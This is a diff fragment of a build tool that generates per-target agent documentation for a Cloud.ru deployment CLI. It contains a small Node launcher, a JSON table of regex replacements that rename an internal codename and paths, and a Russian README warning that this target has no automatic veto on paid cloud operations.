+ package or GitHub Releases), regenerate the authoritative per-module license inventory in
54
+ trusted CI with `go-licenses report ./...` (or `cyclonedx-gomod`) against the exact
55
+ commit being built, and reconcile it with this file. This hand-written table is faithful
56
+ to `go.mod` of the pinned baseline but is not a substitute for the generated report.
@@ -0,0 +1,8 @@
1
+ #!/usr/bin/env node
2
+
3
+ 'use strict';
4
+
5
+ const { main } = require('../src/cli.js');
6
+
7
+ const rc = main(process.argv.slice(2));
8
+ if (rc !== null) process.exitCode = rc;
@@ -0,0 +1,73 @@
1
+ {
2
+ "$comment": "ADR-006 dialect table — ONE config, variants are GENERATED, hand forks are forbidden. `replacements` are applied in order to every .md of the canonical tree; afterwards the compiler REQUIRES that no forbiddenHermesTokens survive (a variant that still speaks Hermes dialect actively lies on the target and is never emitted) AND that no forbiddenCodenames occurrence survives (case-insensitive, WORD-BOUNDARY) in ANY emitted file (positive invariant, 2026-08-10 — the enumerated denylist alone let the bare codename through 5x, MEASURED). forbiddenCodenames covers the FULL engine identity (AM-2 2026-08-10): `hermes` + the go-module owner `dzhechko` + the CLI name `cloudru-vm-cli` (github.com/dzhechko/cloudru-vm-cli) + `captainkeys` (captainkeys.go). Matching is WORD-BOUNDARY, not substring: a raw `dzhechko` substring over-blocks the legitimately-published scope `@dzhechkov` (= dzhechko + v); \\b…\\b matches the standalone engine handle but not `@dzhechkov`, and also drops false positives like `thermes` while still catching `~/.hermes`, `hermes-agent` and Cyrillic-suffixed `hermesовский` (\\b treats `.`/`-`/`/`/Cyrillic as non-word). Over-block on the maintainer's controlled corpus is acceptable (loud, build-time, never ships); the residual all-Latin-embedded gap (`hermesbot`) is unobserved. Each identity token has a scrub replacement below where it legitimately appears (go-module path → published package name). The bare engine binary name `cloudru-vm` is DELIBERATELY NOT in forbiddenCodenames (0.1.3): it is ALSO the legitimate MCP server name that MUST appear in output — PROVEN: \\bcloudru-vm\\b matches the compiler's own injected tool_search prose `сервера cloudru-vm видны`, and `mcp__cloudru-vm__` is spared only because `_` is a word char. Instead the two UNAMBIGUOUS leak FORMS get targeted scrubs (ordered AFTER the longer `cloudru-vm-cli` scrub so it is never mis-split): (1) config-dir/dotted path `\\.cloudru-vm(?![\\w-])` → `.cloudru-hub` (lookahead spares `.cloudru-vm-cli`; no dot precedes the mcp__ id); (2) CLI invocation `cloudru-vm <verb>` → `cloudru-hub <verb>` for the engine's FINITE real verb set only (deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor — cited from engine cmd/cloudru-vm/main.go AddCommand block, lines 53-65), `[ \\t]+` not `\\s+` so a line break is never joined, `(?:…)\\b` so `cloudru-vm deployment` and the Russian prose `cloudru-vm видны` are untouched. The mcp__ prefix double-spelling is settled by the live probe (feature README blocker 3).",
3
+ "forbiddenCodenames": ["hermes", "dzhechko", "cloudru-vm-cli", "captainkeys"],
4
+ "forbiddenHermesTokens": [
5
+ "tool_search",
6
+ "tool_describe",
7
+ "tool_call",
8
+ "hermes cron",
9
+ "/opt/data",
10
+ "SOUL",
11
+ "--deliver telegram",
12
+ "капитан"
13
+ ],
14
+ "routerMaxChars": 12000,
15
+ "pointerMaxChars": 2048,
16
+ "targets": {
17
+ "claude-code": {
18
+ "layout": "lossless",
19
+ "replacements": [
20
+ { "find": "mcp__cloudru_vm__", "flags": "g", "replace": "mcp__cloudru-vm__" },
21
+ { "find": "^.*tool_search.*$\\n?", "flags": "gm", "replace": "Инструменты сервера cloudru-vm видны в сессии как mcp__cloudru-vm__<имя>; Claude Code сам подгружает отложенные тулы через собственный ToolSearch — отдельный шаг поиска не нужен.\n" },
22
+ { "find": "^.*tool_(?:describe|call).*$\\n?", "flags": "gm", "replace": "" },
23
+ { "find": "hermes cron create\\s+'[^']*'", "flags": "g", "replace": "фоновый Bash (run_in_background) или /schedule" },
24
+ { "find": "^.*hermes cron.*$\\n?", "flags": "gm", "replace": "Для периодического поллинга используй фоновый Bash (run_in_background) или /schedule.\n" },
25
+ { "find": "\\s*--deliver telegram", "flags": "g", "replace": "" },
26
+ { "find": "^.*SOUL.*$\\n?", "flags": "gm", "replace": "" },
27
+ { "find": "/opt/data/cloudru", "flags": "g", "replace": "~/.cloudru-hub" },
28
+ { "find": "/opt/data", "flags": "g", "replace": "~/.cloudru-hub" },
29
+ { "find": "hermes-agent", "flags": "g", "replace": "agent-vm" },
30
+ { "find": "\\.hermes\\b", "flags": "g", "replace": ".cloudru-hub" },
31
+ { "find": "уроки Hermes ", "flags": "g", "replace": "уроки боевой эксплуатации " },
32
+ { "find": "так при Hermes возникли", "flags": "g", "replace": "так однажды возникли" },
33
+ { "find": "капитана", "flags": "g", "replace": "пользователя" },
34
+ { "find": "капитану", "flags": "g", "replace": "пользователю" },
35
+ { "find": "капитан", "flags": "g", "replace": "пользователь" },
36
+ { "find": "Капитан", "flags": "g", "replace": "Пользователь" },
37
+ { "find": "github\\.com/dzhechko/cloudru-vm-cli", "flags": "gi", "replace": "@dzhechkov/cloudru-hub" },
38
+ { "find": "cloudru-vm-cli", "flags": "gi", "replace": "cloudru-hub" },
39
+ { "find": "\\.cloudru-vm(?![\\w-])", "flags": "g", "replace": ".cloudru-hub" },
40
+ { "find": "\\bcloudru-vm[ \\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\b)", "flags": "g", "replace": "cloudru-hub " },
41
+ { "find": "\\bdzhechko\\b", "flags": "gi", "replace": "dzhechkov" },
42
+ { "find": "captainkeys", "flags": "gi", "replace": "user-keys" }
43
+ ]
44
+ },
45
+ "codex": {
46
+ "layout": "lossless",
47
+ "replacements": [
48
+ { "find": "^.*tool_search.*$\\n?", "flags": "gm", "replace": "MCP-тулы cloudru-vm codex деферит за собственным tool-search рантайма — отдельный шаг поиска не нужен; зови тулы по имени.\n" },
49
+ { "find": "^.*tool_(?:describe|call).*$\\n?", "flags": "gm", "replace": "" },
50
+ { "find": "hermes cron create\\s+'[^']*'", "flags": "g", "replace": "периодический повтор команды средствами вашей сессии" },
51
+ { "find": "^.*hermes cron.*$\\n?", "flags": "gm", "replace": "" },
52
+ { "find": "\\s*--deliver telegram", "flags": "g", "replace": "" },
53
+ { "find": "^.*SOUL.*$\\n?", "flags": "gm", "replace": "" },
54
+ { "find": "/opt/data/cloudru", "flags": "g", "replace": "~/.cloudru-hub" },
55
+ { "find": "/opt/data", "flags": "g", "replace": "~/.cloudru-hub" },
56
+ { "find": "hermes-agent", "flags": "g", "replace": "agent-vm" },
57
+ { "find": "\\.hermes\\b", "flags": "g", "replace": ".cloudru-hub" },
58
+ { "find": "уроки Hermes ", "flags": "g", "replace": "уроки боевой эксплуатации " },
59
+ { "find": "так при Hermes возникли", "flags": "g", "replace": "так однажды возникли" },
60
+ { "find": "капитана", "flags": "g", "replace": "пользователя" },
61
+ { "find": "капитану", "flags": "g", "replace": "пользователю" },
62
+ { "find": "капитан", "flags": "g", "replace": "пользователь" },
63
+ { "find": "Капитан", "flags": "g", "replace": "Пользователь" },
64
+ { "find": "github\\.com/dzhechko/cloudru-vm-cli", "flags": "gi", "replace": "@dzhechkov/cloudru-hub" },
65
+ { "find": "cloudru-vm-cli", "flags": "gi", "replace": "cloudru-hub" },
66
+ { "find": "\\.cloudru-vm(?![\\w-])", "flags": "g", "replace": ".cloudru-hub" },
67
+ { "find": "\\bcloudru-vm[ \\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\b)", "flags": "g", "replace": "cloudru-hub " },
68
+ { "find": "\\bdzhechko\\b", "flags": "gi", "replace": "dzhechkov" },
69
+ { "find": "captainkeys", "flags": "gi", "replace": "user-keys" }
70
+ ]
71
+ }
72
+ }
73
+ }
@@ -0,0 +1,22 @@
1
+ # Cloud.ru Evolution — указатель (pointer-only таргет)
2
+
3
+ Этот инструмент НЕ несёт на данном таргете ни MCP-тулов Cloud.ru, ни исполняемых
4
+ инструкций деплоя. Полная связка (MCP-сервер `cloudru-vm` на 144 тула + скилл +
5
+ детерминированный тормоз платных шагов) доставляется только на таргеты, где её можно
6
+ поставить честно: Claude Code (полный путь) и codex (после живого veto-probe).
7
+
8
+ Что можно сделать на этом таргете вручную:
9
+
10
+ 1. Зарегистрируйте stdio-MCP-сервер `cloudru-vm` в конфиге ВАШЕГО инструмента сами
11
+ (команда запуска: `cloudru-hub mcp`; креды — env `CLOUDRU_KEY_ID`/`CLOUDRU_SECRET`).
12
+ 2. Прочитайте документацию пакета: `npx @dzhechkov/cloudru-hub --help`.
13
+
14
+ ⚠ ПРЕДУПРЕЖДЕНИЕ: на этом таргете НЕТ детерминированного вето платных операций
15
+ (permission-ask / PreToolUse-хука). Любой вызов мутирующего тула (deploy, provision,
16
+ *_create, *_delete, vm_exec, s3_put, …) создаёт или уничтожает ПЛАТНЫЕ ресурсы без
17
+ машинного тормоза — подтверждение остаётся только на вашей дисциплине. Не подключайте
18
+ мутирующий флоу здесь; используйте Claude Code или codex, где тормоз ставится кодом
19
+ (ADR-004/ADR-005 feature hermes-claude-adaptation).
20
+
21
+ Gemini-оговорка: проверьте доступность Gemini API для ВАШЕГО аккаунта — Россия
22
+ отсутствует в списке доступности (ai.google.dev/available-regions, fetch 2026-08-04).